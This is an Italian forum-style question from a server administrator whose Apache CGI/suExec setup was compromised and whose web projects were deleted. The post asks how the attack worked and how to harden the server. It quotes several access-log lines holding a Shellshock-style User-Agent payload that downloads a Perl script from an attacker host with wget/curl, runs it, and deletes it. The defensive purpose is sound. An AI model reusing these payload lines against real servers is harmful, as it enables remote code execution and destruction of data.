Il mio server Apache ha il modulo cgi abilitato perché abbiamo bisogno di eseguire script cgi nel browser. Abbiamo abilitato il modulo suExec di apache che permette di eseguire script cgi come un utente particolare, nel nostro caso quell'utente è ubuntu e in co-incidenza è anche un utente sudo ma non usiamo alcun comando sudo nei nostri script cgi né abbiamo manipolato sudoers file per questo scopo. È un file predefinito dall'inizio.
Gli script cgi che usiamo sono nella directory / usr / lib / cgi-bin il cui proprietario è ubuntu. La directory htdocs è / var / www / html dove sono posizionati tutti i progetti web. Il proprietario di questa directory è anche ubuntu perché i nostri script cgi creano e aggiornano i file in queste directory di progetto e se il proprietario delle directory di progetto non è ubuntu, non possiamo scrivere in queste directory usando gli script cgi.
Questo è lo scenario che stavamo usando da tanto tempo senza affrontare alcun problema fino alla scorsa settimana. Un attacco è entrato in luce calante quando un utente malintenzionato ha rimosso i progetti Web di / var / www / html utilizzando uno script cgi.
Ho ottenuto questa voce nel registro di accesso.
[02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
Ho questo file perl (perlscript.tgz), ha 988 linee, non sono sicuro di quello che fa ma sono abbastanza sicuro, ha fatto il danno perché gli URL di progetto nel file di log non erano 404 prima di questa voce e dopo questo, tutti gli URL di progetto erano 404.
Questa non era l'unica voce. Prima di questo, l'attaccante ha provato con più tentativi falliti. Ecco il registro dei tentativi non riusciti.
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
Questi sono stati tutti tentativi infruttuosi, quasi centinaia ma tutti erano 404. Il tentativo riuscito è tornato con 200 status e ha distrutto tutto.
Puoi spiegare in che modo l'autore dell'attacco ha raggiunto le directory del progetto e le ha rimosse, e cosa ancora più importante, cosa dovrei fare ora per rendere il mio sistema robusto contro questi attacchi in futuro?